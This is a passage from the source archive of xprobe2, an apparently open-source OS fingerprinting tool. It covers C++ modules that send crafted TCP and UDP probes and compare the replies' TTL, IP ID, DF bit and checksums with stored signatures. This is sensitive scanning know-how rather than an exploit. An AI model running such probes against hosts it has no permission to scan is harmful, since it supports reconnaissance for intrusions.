(ttl <= 255) value.append("255"); tg->signature(keyword, value); keyword="tcp_syn_ack_df"; memset(buf, 0, sizeof(buf)); snprintf(buf, sizeof(buf), "%d", pack->get_fragoff() & IP_DF ? 1 : 0); tg->signature(keyword.c_str(), buf); keyword = "tcp_syn_ack_ip_id"; if (pack->get_id() == 0) value = "0"; else if (pack->get_id() == orig->get_id()) value = "SENT"; else value = "!0"; tg->signature(keyword, value); keyword = "tcp_syn_ack_ack"; memset(buf, 0, sizeof(buf)); snprintf(buf, sizeof(buf), "%d", pack->get_ack() - orig->get_seq()); tg->signature(keyword.c_str(), buf); keyword = "tcp_syn_ack_window_size"; memset(buf, 0, sizeof(buf)); snprintf(buf, sizeof(buf), "%d", pack->get_win()); tg->signature(keyword.c_str(), buf); keyword="tcp_syn_ack_options_order"; value=""; for (ttl=0; ttl < sizeof(opt_order); ttl++) { switch(opt_order[ttl]) { case 'N': value.append("NOP "); break; case 'M': value.append("MSS "); break; case 'W': value.append("WSCALE "); break; case 'S': value.append("SACK "); break; case 'T': value.append("TIMESTAMP "); break; } } tg->signature(keyword, value); keyword="tcp_syn_ack_wscale"; if (wscale == -1) value = "NONE"; else { memset(buf, 0, sizeof(buf)); snprintf(buf, sizeof(buf), "%d", wscale); value = buf; } tg->signature(keyword, value); if (got_timestamp) { keyword = "tcp_syn_ack_tsval"; if (timestamps[0] == 0) value = "0"; else value = "!0"; tg->signature(keyword, value); keyword= "tcp_syn_ack_tsecr"; if (timestamps[1] == 0) value = "0"; else value = "!0"; tg->signature(keyword, value); } else { tg->signature("tcp_syn_ack_tsval", "NONE"); tg->signature("tcp_syn_ack_tsecr", "NONE"); } } else { tg->signature("# No TCP SYN ACK reply received", ""); tg->signature("tcp_syn_ack_tos", ""); tg->signature("tcp_syn_ack_df", ""); tg->signature("tcp_syn_ack_ip_id", ""); tg->signature("tcp_syn_ack_ttl", ""); tg->signature("tcp_syn_ack_ack", ""); tg->signature("tcp_syn_ack_window_size", ""); tg->signature("tcp_syn_ack_options_order", ""); tg->signature("tcp_syn_ack_wscale", ""); tg->signature("tcp_syn_ack_tsval", ""); tg->signature("tcp_syn_ack_tsecr", ""); } } /* initialization function */ int tcp_handshake_mod_init(Xprobe_Module_Hdlr *pt, char *nm) { TCP_Handshake_Mod *tcp_handshake = new TCP_Handshake_Mod; tcp_handshake->set_name(nm); xprobe_mdebug(XPROBE_DEBUG_MODULES, "Initializing the TCP handshake module\n"); pt->register_module(tcp_handshake); pt->add_keyword(tcp_handshake->get_id(), "tcp_syn_ack_ttl"); pt->add_keyword(tcp_handshake->get_id(), "tcp_syn_ack_ip_id"); pt->add_keyword(tcp_handshake->get_id(), "tcp_syn_ack_tos"); pt->add_keyword(tcp_handshake->get_id(), "tcp_syn_ack_df"); pt->add_keyword(tcp_handshake->get_id(), "tcp_syn_ack_ack"); pt->add_keyword(tcp_handshake->get_id(), "tcp_syn_ack_window_size"); pt->add_keyword(tcp_handshake->get_id(), "tcp_syn_ack_options_order"); pt->add_keyword(tcp_handshake->get_id(), "tcp_syn_ack_wscale"); pt->add_keyword(tcp_handshake->get_id(), "tcp_syn_ack_tsval"); pt->add_keyword(tcp_handshake->get_id(), "tcp_syn_ack_tsecr"); return OK; } int TCP_Handshake_Ttl_Check::check_param(TCP *p, TCP *o, OS_Matrix *os) { int retval=OK; if (!p->timeout()) retval = add_param(p->get_ttl(), o->get_ttl(), os); return retval; } int TCP_Handshake_Ip_Id_Check::check_param(TCP *p, TCP *o, OS_Matrix *os) { int retval = OK; if (!p->timeout()) retval = add_param(p->get_id(), o->get_id(), os); return retval; } int TCP_Handshake_Tos_Check::check_param(TCP *p, TCP *o, OS_Matrix *os) { int retval = OK; if (!p->timeout()) retval = add_param(p->get_tos(), o->get_tos(), os); return retval; } int TCP_Handshake_Df_Bit_Check::check_param(TCP *p, TCP *o, OS_Matrix *os) { int retval = OK; if (!p->timeout()) retval = add_param(((p->get_fragoff() & IP_DF) != 0), ((o->get_fragoff() & IP_DF) != 0), os); return retval; } int TCP_Handhake_Ack_Check::check_param(TCP *p, TCP *o, OS_Matrix *os) { int retval = OK; if (!p->timeout()) retval = add_param(p->get_ack() - o->get_seq(), 0, os); return retval; } int TCP_Handshake_Window_Check::check_param(TCP *p, TCP *o, OS_Matrix *os) { int retval = OK; if (!p->timeout()) retval = add_param(p->get_win(), o->get_win(), os); return retval; } xprobe2-0.3/src/xpmodules/os_probe/tcp_handshake/tcp_handshake.h000755 001751 000000 00000007116 10271643771 025363 0ustar00mederwheel000000 000000 /* ** ** Copyright (C) 2001, 2002, 2003 Meder Kydyraliev ** ** Copyright (C) 2001, 2002, 2003 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef TCP_HANDSHAKE_MOD_H #define TCP_HANDSHAKE_MOD_H #include "xprobe.h" #include "xprobe_module.h" #include "xprobe_module_param.h" class TCP_Handshake_Mod: public Xprobe_Module { private: map kwd_chk; map options_map; map::iterator o_i; map wscale_map; map::iterator w_i; map tsval; map tsecr; map::iterator ts_i; char opt_order[40]; int wscale; unsigned int tse_first, tsv_first, tse_second, tsv_second; unsigned short used_port; bool got_timestamp; unsigned int timestamps[2]; int get_tcpopts_pack(Target *, TCP *); int parse_options(char *tcp_options, int len); void generate_signature(Target *, TCP *, TCP *); int run_probe(Target *, OS_Matrix *); public: TCP_Handshake_Mod(void); ~TCP_Handshake_Mod(void); int init(void); int parse_keyword(int, const char *, const char *); int exec(Target *, OS_Matrix *); int fini(void); }; class TCP_Handshake_Ttl_Check: public Xprobe_Module_Param_TCP { public: TCP_Handshake_Ttl_Check(void): Xprobe_Module_Param_TCP(XPROBE_MODULE_PARAM_RANGE) { return; } //~TCP_Handshake_Ttl_Check(void) { return; } int check_param(TCP *p, TCP *o, OS_Matrix *os); }; class TCP_Handshake_Ip_Id_Check: public Xprobe_Module_Param_TCP { public: TCP_Handshake_Ip_Id_Check(void): Xprobe_Module_Param_TCP(XPROBE_MODULE_PARAM_ZNZORIG) { return; } //~TCP_Handshake_Ip_Id_Check(void) { return; } int check_param(TCP *p, TCP *o, OS_Matrix *os); }; class TCP_Handshake_Tos_Check: public Xprobe_Module_Param_TCP { public: TCP_Handshake_Tos_Check(void): Xprobe_Module_Param_TCP(XPROBE_MODULE_PARAM_ZNZVAL) { return; } //~TCP_Handshake_Tos_Check(void) { return; } int check_param(TCP *p, TCP *o, OS_Matrix *os); }; class TCP_Handshake_Df_Bit_Check: public Xprobe_Module_Param_TCP { public: TCP_Handshake_Df_Bit_Check(void): Xprobe_Module_Param_TCP(XPROBE_MODULE_PARAM_INT) { return; } //~TCP_Handshake_Df_Bit_Check(void) { return; } int check_param(TCP *p, TCP *o, OS_Matrix *os); }; class TCP_Handhake_Ack_Check: public Xprobe_Module_Param_TCP { public: TCP_Handhake_Ack_Check(void): Xprobe_Module_Param_TCP(XPROBE_MODULE_PARAM_INT) { return; } //~TCP_Handhake_Ack_Check(void) { return; } int check_param(TCP *p, TCP *o, OS_Matrix *os); }; class TCP_Handshake_Window_Check: public Xprobe_Module_Param_TCP { public: TCP_Handshake_Window_Check(void): Xprobe_Module_Param_TCP(XPROBE_MODULE_PARAM_INTLIST) { return; } //~TCP_Handshake_Window_Check(void) { return; } int check_param(TCP *p, TCP *o, OS_Matrix *os); }; #endif /* TCP_HANDSHAKE_MOD_H */ xprobe2-0.3/src/xpmodules/os_probe/icmp_port_unreach000755 001751 000000 00000000000 10271644025 023225 5ustar00mederwheel000000 000000 xprobe2-0.3/src/xpmodules/os_probe/icmp_port_unreach/getrandom.cc000755 001751 000000 00000000472 10271643771 025610 0ustar00mederwheel000000 000000 #include "icmp_port_unreach.h" int icmp_port_unreach::getrandom(int limit) { int rnum; #ifdef OpenBSD arc4random(); rnum = 1+arc4random()%limit; return rnum; #endif struct timeval tp; struct timezone tzp; gettimeofday(&tp, &tzp); srand(tp.tv_usec); rnum=1+rand()%limit; return rnum; } xprobe2-0.3/src/xpmodules/os_probe/icmp_port_unreach/icmp_port_unreach.cc000755 001751 000000 00000033060 10271643771 027330 0ustar00mederwheel000000 000000 #include #include "usi++/usi++.h" #define _XPROBE_MODULE #include "xplib.h" #include "xprobe_module.h" #include "xprobe_module_hdlr.h" #include "interface.h" #include "target.h" #include "icmp_port_unreach.h" #include "util.h" extern Interface *ui; int icmp_port_unreach::init (void) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s]: Initialized\n", get_name()); return OK; } int icmp_port_unreach::exec (Target *Tgt, OS_Matrix *osmtx) { Fingerprint *icmp_unr= new Fingerprint; if ((get_icmp_unreach(Tgt, icmp_unr)) > 0) { /***************** * FINGERPRINTING * *****************/ for (iter = os2finger.begin(); iter != os2finger.end(); iter++) { if (icmp_unr->get_reply() && iter->second.get_reply()) { osmtx->add_result (get_id(), iter->first, XPROBE_MATCH_YES); } else if (!icmp_unr->get_reply() && !iter->second.get_reply()) { osmtx->add_result(get_id(), iter->first, XPROBE_MATCH_YES, 11); continue; } /* match TTLs in a fuzzy way */ if (icmp_unr->get_p_unreach_ttl() - TTL_DELTA < iter->second.get_p_unreach_ttl() && icmp_unr->get_p_unreach_ttl() + TTL_DELTA > iter->second.get_p_unreach_ttl() ){ osmtx->add_result (get_id(), iter->first, XPROBE_MATCH_YES); } if (icmp_unr->get_icmp_prec_bits() == iter->second.get_icmp_prec_bits()) { osmtx->add_result (get_id(), iter->first, XPROBE_MATCH_YES); } if (icmp_unr->get_icmp_df() == iter->second.get_icmp_df()) { osmtx->add_result (get_id(), iter->first, XPROBE_MATCH_YES); } if (icmp_unr->get_echoed_size() == iter->second.get_echoed_size()) { osmtx->add_result (get_id(), iter->first, XPROBE_MATCH_YES); } if (icmp_unr->get_echoed_udpsum() == iter->second.get_echoed_udpsum()) { osmtx->add_result (get_id(), iter->first, XPROBE_MATCH_YES); } if (icmp_unr->get_echoed_ipsum() == iter->second.get_echoed_ipsum()) { osmtx->add_result (get_id(), iter->first, XPROBE_MATCH_YES); } if (icmp_unr->get_echoed_ipid() == iter->second.get_echoed_ipid()) { osmtx->add_result (get_id(), iter->first, XPROBE_MATCH_YES); } if (icmp_unr->get_echoed_totlen() == iter->second.get_echoed_totlen()) { osmtx->add_result (get_id(), iter->first, XPROBE_MATCH_YES); } if (icmp_unr->get_echoed_3bit() == iter->second.get_echoed_3bit()) { osmtx->add_result (get_id(), iter->first, XPROBE_MATCH_YES); } if(icmp_unr->get_icmp_ipid() == iter->second.get_icmp_ipid()) { osmtx->add_result (get_id(), iter->first, XPROBE_MATCH_YES); } } } delete icmp_unr; return OK; } int icmp_port_unreach::fini (void) { close (sock); xprobe_debug(XPROBE_DEBUG_MODULES, "%s module has been deinitilized\n", get_name()); return OK; } int icmp_port_unreach_init(Xprobe_Module_Hdlr *pt, char *nm) { icmp_port_unreach *port_unreach= new icmp_port_unreach; int i; extern char *keyarr[]; port_unreach->set_name(nm); xprobe_mdebug(XPROBE_DEBUG_MODULES, "Initializing the ICMP port unreach module\n"); /* register module and keywords */ pt->register_module(port_unreach); for (i = 0; keyarr[i] != NULL; i++) pt->add_keyword (port_unreach->get_id(), keyarr[i]); return(OK); } /* fingerptr - is a what we return */ int icmp_port_unreach::get_icmp_unreach(Target *Tgt, Fingerprint *fingerptr) { u_int sniffedbytes, echoed_dtsize, ttl; u_char *payload; u_char echoedpack[1024]; u_short port = ICMP_UNREACH_DEF_PORT; int iphlen=0; bool gensig = Tgt->generate_sig(); struct timeval timeo; struct in_addr local = Tgt->get_interface_addr(), target = Tgt->get_addr(); struct ip *iph; struct udphdr *udph; string keyword, value; memset (echoedpack, 0, sizeof(echoedpack)); timeo = Tgt->get_rtt(); /* XXX: we need a datagram of 70 bytes size */ if ( (payload = (u_char *) malloc (sizeof (struct DNSHEADER) )) == NULL ) { ui->error ("icmp_port_unreach: failed to allocate memory for payload\n"); return 0; } if (Tgt->get_port(IPPROTO_UDP, XPROBE_TARGETP_CLOSED) != -1) port = Tgt->get_port(IPPROTO_UDP, XPROBE_TARGETP_CLOSED); build_DNS_reply(payload); UDP udp(inet_ntoa(target)); ICMP sn(inet_ntoa(local)); sn.init_device (Tgt->get_interface(), 0, 1024); udp.set_src(inet_ntoa(local)); udp.set_ttl(255); udp.set_tos(0); udp.set_id(getrandom(U_INTMAX)); udp.set_fragoff(IP_DF); udp.set_srcport(53); udp.set_dstport(port); udp.timeout(timeo); udp.sendpack((char *)payload, sizeof (struct DNSHEADER)); sn.timeout(timeo); sniff_again: sniffedbytes = sn.sniffpack (echoedpack, sizeof(echoedpack)); echoed_dtsize = sniffedbytes - sizeof (struct ip); if (sn.timeout()) { /* timedout */ fingerptr->put_reply("n"); if (gensig) { Tgt->signature("icmp_unreach_reply", "n"); Tgt->signature("icmp_unreach_echoed_dtsize", "8"); Tgt->signature("icmp_unreach_reply_ttl", "<255"); Tgt->signature("icmp_unreach_precedence_bits", "0"); Tgt->signature("icmp_unreach_df_bit", "0"); Tgt->signature("icmp_unreach_ip_id", "!0"); Tgt->signature("icmp_unreach_echoed_udp_cksum", "OK"); Tgt->signature("icmp_unreach_echoed_ip_cksum", "OK"); Tgt->signature("icmp_unreach_echoed_ip_id", "OK"); Tgt->signature("icmp_unreach_echoed_total_len", "OK"); Tgt->signature("icmp_unreach_echoed_3bit_flags", "OK"); } free(payload); return 0; } else { if (sniffedbytes >= sizeof (struct ip)) { iph = (struct ip *) echoedpack; if (iph->ip_dst.s_addr != target.s_addr && iph->ip_src.s_addr != local.s_addr) /* not our icmp unreach */ goto sniff_again; /* labels/gotos are bad :) */ } } /* XXX: that shit here is a MESS * need to make it more readable */ fingerptr->put_reply("y"); if (gensig) Tgt->signature("icmp_unreach_reply", "y"); /*** tos ***/ xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ICMP IP ToS is: 0x%x\n", get_name(), sn.get_tos()); keyword = "icmp_unreach_precedence_bits"; if (sn.get_tos() == 0xc0) { fingerptr->put_icmp_prec_bits(2); value="0xc0"; } else if (sn.get_tos() == 0) { fingerptr->put_icmp_prec_bits(0); value ="0"; } else { fingerptr->put_icmp_prec_bits(1); /* !0 */ value="!0"; } if (gensig) Tgt->signature(keyword, value); /*** DF ***/ keyword = "icmp_unreach_df_bit"; if (sn.get_fragoff() & IP_DF) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ICMP IP DF bit set\n", get_name()); value = "1"; fingerptr->put_icmp_df(value.c_str()); } else { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ICMP IP DF bit not set\n", get_name()); value = "0"; fingerptr->put_icmp_df(value.c_str()); } if (gensig) Tgt->signature(keyword, value); /*** IP ID ***/ keyword = "icmp_unreach_ip_id"; if (sn.get_id() == udp.get_id()) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ICMP IP ID = SENT\n", get_name()); value = "SENT"; fingerptr->put_icmp_ipid(value.c_str()); } else if (sn.get_id() == 0) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ICMP IP ID = 0\n", get_name()); value = "0"; fingerptr->put_icmp_ipid(value.c_str()); } else { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ICMP IP ID != 0\n", get_name()); value = "!0"; fingerptr->put_icmp_ipid(value.c_str()); } if (gensig) Tgt->signature(keyword, value); /* check if we have enuff for ip header */ if (sniffedbytes >= sizeof (struct ip)) { iph = (struct ip *) echoedpack; xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED Header len: %d\n", get_name(), iph->ip_hl<<2); iphlen = iph->ip_hl<<2; /*** ttl ***/ if (Tgt->get_distance() < 1) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Figuring distance out from ICMP port unr\n", get_name()); Tgt->set_distance (udp.get_ttl() - iph->ip_ttl); } keyword="icmp_unreach_reply_ttl"; fingerptr->put_p_unreach_ttl(sn.get_ttl()); ttl = sn.get_ttl() + Tgt->get_distance(); value = "<"; if (ttl <= 32) value.append("32"); else if (ttl <= 60) value.append("60"); else if (ttl <= 64) value.append("64"); else if (ttl <= 128) value.append("128"); else if (ttl <= 255) value.append("255"); if (gensig) Tgt->signature(keyword, value); xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ICMP TTL is: %d\n", get_name(), fingerptr->get_p_unreach_ttl()); /*** ip id ***/ keyword = "icmp_unreach_echoed_ip_id"; xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED IP ID: 0x%x Orig IP ID: 0x%x (flipp: 0x%x)\n", get_name(), ntohs(iph->ip_id), udp.get_id(), flipp(udp.get_id()) ); if (ntohs(iph->ip_id) == udp.get_id()) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED IP ID OK\n", get_name()); value = "OK"; fingerptr->put_echoed_ipid(value.c_str()); } else if (ntohs(iph->ip_id) == flipp(udp.get_id())) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED IP ID FLIPPED\n", get_name()); value = "FLIPPED"; fingerptr->put_echoed_ipid(value.c_str()); udp.set_id(ntohs(iph->ip_id)); } else { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED IP ID BAD\n", get_name()); value = "BAD"; fingerptr->put_echoed_ipid(value.c_str()); udp.set_id(ntohs(iph->ip_id)); } if (gensig) Tgt->signature(keyword, value); /*** ip len ***/ keyword = "icmp_unreach_echoed_total_len"; xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED IP LEN: %d Orig IP LEN: %d\n", get_name(), ntohs(iph->ip_len), udp.get_totlen()); if (ntohs (iph->ip_len) == udp.get_totlen()) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED IP Len OK\n", get_name()); value ="OK"; fingerptr->put_echoed_totlen(value.c_str()); } else if (ntohs (iph->ip_len) == udp.get_totlen() - 20) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED IP totlen < 20\n", get_name()); fingerptr->put_echoed_totlen("<"); value ="<20"; udp.set_totlen(ntohs(iph->ip_len)); } else if (ntohs (iph->ip_len) == udp.get_totlen() + 20) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED IP totlen > 20\n", get_name()); fingerptr->put_echoed_totlen(">"); value = ">20"; udp.set_totlen(ntohs(iph->ip_len)); } else { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED IP totlen is unexpected (%i)\n", get_name(), ntohs(iph->ip_len)); udp.set_totlen(ntohs(iph->ip_len)); value = "unexpected"; } if (gensig) Tgt->signature(keyword, value); /*** 3bit flags ***/ keyword="icmp_unreach_echoed_3bit_flags"; xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED IP_OFF: 0x%x Orig: 0x%x (flipp: 0x%x)\n", get_name(), ntohs(iph->ip_off), udp.get_fragoff(), flipp(udp.get_fragoff()) ); if (ntohs (iph->ip_off) == udp.get_fragoff()) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED Frag Off Ok\n", get_name()); value = "OK"; fingerptr->put_echoed_3bit(value.c_str()); } else if (ntohs (iph->ip_off) == flipp (udp.get_fragoff())) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED Frag Off FLIPPED\n", get_name()); value = "FLIPPED"; fingerptr->put_echoed_3bit(value.c_str()); udp.set_fragoff(ntohs(iph->ip_off)); } else { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED Frag Off unexpected\n", get_name()); udp.set_fragoff(ntohs(iph->ip_off)); value = "unexpected"; } if (gensig) Tgt->signature(keyword, value); /*** ip checksum ***/ /* set the ttl that target saw and * calculate the IP header checksum * to verify it */ keyword = "icmp_unreach_echoed_ip_cksum"; udp.set_ttl(iph->ip_ttl); xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED IP checksum: 0x%x Original: 0x%x\n", get_name(), iph->ip_sum, udp.calc_ipsum()); if (udp.calc_ipsum() == iph->ip_sum) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED IP checksum OK\n", get_name()); value = "OK"; fingerptr->put_echoed_ipsum(value.c_str()); } else if (iph->ip_sum == 0) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED IP checksum = 0\n", get_name()); value = "0"; fingerptr->put_echoed_ipsum("0"); } else { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED IP checksum BAD\n", get_name()); value = "BAD"; fingerptr->put_echoed_ipsum(value.c_str()); } if (gensig) Tgt->signature(keyword, value); } /* check if we have enuff for udp header */ if (sniffedbytes >= (sizeof (struct ip) + sizeof (struct udphdr))) { udph = (struct udphdr *) (echoedpack+iphlen); xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED UDP checksum: 0x%x Original UDP checksum: 0x%x\n", get_name(), ntohs(udph->check),ntohs(udp.get_udpsum())); /*** udp checksum ***/ keyword="icmp_unreach_echoed_udp_cksum"; if (udph->check == udp.get_udpsum()) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED UPD checksum OK\n", get_name()); value = "OK"; fingerptr->put_echoed_udpsum(value.c_str()); } else if (udph->check == 0) { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED UPD checksum = 0\n", get_name()); value ="0"; fingerptr->put_echoed_udpsum("0"); } else { xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] ECHOED UPD checksum BAD\n", get_name()); value = "BAD"; fingerptr->put_echoed_udpsum(value.c_str()); } if (gensig) Tgt->signature(keyword, value); } /*** echoed size ***/ xprobe_debug(XPROBE_DEBUG_MODULES, "[%s] Size of echoed data: %d\n", get_name(), echoed_dtsize); keyword = "icmp_unreach_echoed_dtsize"; /* if (echoed_dtsize == 64) { fingerptr->put_echoed_size(echoed_dtsize); value = "64"; } else if (echoed_dtsize > 64) { value = ">64"; fingerptr->put_echoed_size(value.c_str()); } else if (echoed_dtsize == 8) { fingerptr->put_echoed_size (echoed_dtsize); value = "8"; } else { value = "unexpected"; } */ if (echoed_dtsize > 64) { value = ">64"; } else { value = xp_lib::int_to_string(echoed_dtsize); } fingerptr->put_echoed_size(value.c_str()); if (gensig) Tgt->signature(keyword, value); free(payload); return 1; } xprobe2-0.3/src/xpmodules/os_probe/icmp_port_unreach/icmp_port_unreach.h000644 001751 000000 00000014251 10271643771 027170 0ustar00mederwheel000000 000000 /* $Id: icmp_port_unreach.h,v 1.9 2005/02/15 15:15:52 mederchik Exp $ */ /* ** Copyright (C) 2001, 2002 Meder Kydyraliev ** ** Copyright (C) 2001 Fyodor Yarochkin , ** Ofir Arkin ** ** This program is free software; you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation; either version 2 of the License, or ** (at your option) any later version. ** ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program; if not, write to the Free Software ** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef ICMP_PORT_UNREACH_H #define ICMP_PORT_UNREACH_H #include "xprobe.h" #include #include "xprobe_module.h" #include "xprobe_module_hdlr.h" #include "interface.h" #define _XPROBE_MODULE #include "xplib.h" #define NUMOFKEYWORDS 3 #define TCP_RST 0 #define TCP_SYN_ACK 1 #define ICMP_P_UNR 2 #define MORETHAN64 65 #define IPID_SENT 2 #define ICMP_UNREACH_DEF_PORT 65534 #ifndef __USE_BSD #define __USE_BSD #endif #ifndef __FAVOR_BSD #define __FAVOR_BSD #endif class icmp_port_unreach: public Xprobe_Module { private: int sock; /* CLASS THAT STORES FINGERPRINT */ /* Fyodor's idea :) */ class Fingerprint { private: u_short icmp_port_unreach_ttl; /* u_short not u_char cuz we need to +- TTL_ERROR */ u_char icmp_precedence_bits; /* values: 0xc0, 0, !0 */ u_char icmp_ip_df; /* values: [0 , 1 ] */ u_char icmp_ipid; /* values: [0, !0, SENT] */ int echoed_size; /* values: [>< decimal num] */ u_char echoed_udpsum; /* values: [0, OK, BAD] */ u_char echoed_ipsum; u_char echoed_ipid; /* values: [OK, FLIPPED] */ int echoed_totlen; /* values: [<20, OK, >20] */ u_char echoed_3bit_flags; /* values: [OK, FLIPPED] */ bool reply; public: Fingerprint (void) { icmp_port_unreach_ttl=0; } u_short get_p_unreach_ttl (void) { return icmp_port_unreach_ttl;} u_char get_icmp_prec_bits (void) { return icmp_precedence_bits; } u_char get_icmp_df (void) { return icmp_ip_df; } int get_echoed_size (void) { return echoed_size; } u_char get_echoed_udpsum (void) { return echoed_udpsum; } u_char get_echoed_ipsum (void) { return echoed_ipsum; } u_char get_echoed_ipid (void) { return echoed_ipid; } int get_echoed_totlen (void) { return echoed_totlen; } u_char get_echoed_3bit (void) { return echoed_3bit_flags; } u_char get_icmp_ipid(void) { return icmp_ipid; } bool get_reply(void) { return reply; } void put_p_unreach_ttl (const char *v) { icmp_port_unreach_ttl = atoi(v) - 1; } void put_p_unreach_ttl (int v) { icmp_port_unreach_ttl = v; } void put_icmp_prec_bits (const char *v) { if (!strcmp(v, "0xc0")) icmp_precedence_bits = 2; else if (!strcmp(v, "0")) icmp_precedence_bits = 0; else if (v[0] == '!') icmp_precedence_bits = 1; else fprintf(stderr,"icmp_port_unreach precedence: %s - unknown value!\n", v); } void put_icmp_prec_bits (int v) { icmp_precedence_bits = v; } void put_icmp_df (const char *v) { icmp_ip_df = atoi(v); } void put_echoed_size (const char *v) { if (v[0] == '>') echoed_size = MORETHAN64; else echoed_size = atoi(v); } void put_echoed_size (int v) { echoed_size = v; } void put_echoed_udpsum (const char *v) { if (!strncmp(v, "OK", 2)) echoed_udpsum = UDP_CKSUM_GOOD; else if (!strncmp(v, "BAD", 3)) echoed_udpsum = UDP_CKSUM_BAD; else if ((atoi(v)) == 0) echoed_udpsum = UDP_CKSUM_ZERO; } void put_echoed_ipsum (const char *v) { if (!strncmp(v, "OK", 2)) echoed_ipsum = IP_CKSUM_GOOD; else if (!strncmp(v, "BAD", 3)) echoed_ipsum = IP_CKSUM_BAD; else if ((atoi(v)) == 0) echoed_ipsum = IP_CKSUM_ZERO; } void put_echoed_ipid (const char *v) { if (!strncmp(v, "OK", 2)) echoed_ipid = IP_ID_GOOD; else if (!strncmp(v, "FLIPPED", 7)) echoed_ipid = IP_ID_FLIPPED; else if (!strncmp(v, "BAD", 3)) echoed_ipid = IP_ID_BAD; } void put_echoed_totlen (const char *v) { if (!strncmp(v, "OK", 2)) echoed_totlen = ICMPUNREACH_LEN_OK; else if (v[0] == '<') echoed_totlen = ICMPUNREACH_LEN_LS; else if (v[0] == '>') echoed_totlen = ICMPUNREACH_LEN_GT; } void put_echoed_3bit (const char *v) { if (!strncmp(v, "OK", 2)) echoed_3bit_flags = FRAG_BITS_OK; else if (!strncmp(v, "FLIPPED", 7)) echoed_3bit_flags = FRAG_BITS_FLIPPED; } void put_icmp_ipid(const char *v) { if (v[0] == '!' && v[1]=='0') icmp_ipid = 1; else if (v[0] == '0') icmp_ipid = 0; else if (!strncasecmp(v, "SENT", 4)) icmp_ipid = IPID_SENT; } void put_reply(const char *v) { if (v[0] == 'Y' || v[0] == 'y') reply = true; else reply = false; } }; /* MAP TO STORE FINGEPRINTS */ map os2finger; map ::iterator iter; void build_DNS_reply (u_char *); int getrandom(int limit); int get_icmp_unreach(Target *, Fingerprint *); u_int flipp(u_int toflipp) { unsigned int mask=0x0000ff00; int n = sizeof (toflipp)/2; while (n > 1){ mask = (mask << 16)|mask; n--; } return (((toflipp & (mask>>8))<<8)|((toflipp & mask)>>8)); } public: /* constructor */ icmp_port_unreach(void) : Xprobe_Module(XPROBE_MODULE_OSTEST , "fingerprint:icmp_port_unreach","ICMP port unreachable fingerprinting module") { return; } /* destructor */ ~icmp_port_unreach(void) { return; } int init(void); int parse_keyword(int, const char *, const char *); int exec(Target *, OS_Matrix *); int fini(void); }; #endif xprobe2-0.3/src/xpmodules/os_probe/icmp_port_unreach/Makefile.in000755 001751 000000 00000003172 10271643771 025366 0ustar00mederwheel000000 000000 # $Id: Makefile.in,v 1.2 2003/08/20 05:30:18 mederchik Exp $ # # Copyright (C) 2001 Fyodor Yarochkin , # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. CC=@CC@ CXX=@CXX@ INSTALL=@INSTALL@ INSTALL_PROGRAM=@INSTALL_PROGRAM@ INSTALL_DATA=@INSTALL_DATA@ RANLIB=@RANLIB@ DESTDIR= prefix=@prefix@ exec_prefix=@exec_prefix@ bindir=@bindir@ mandir=@mandir@ PACKAGE=@PACKAGE@ VERSION=@VERSION@ CPPFLAGS=@CPPFLAGS@ CFLAGS=@CFLAGS@ @CPPFLAGS@ -I. -I.. -I../../../ -I ../../../xplib -I ../../../../libs-external/USI++ 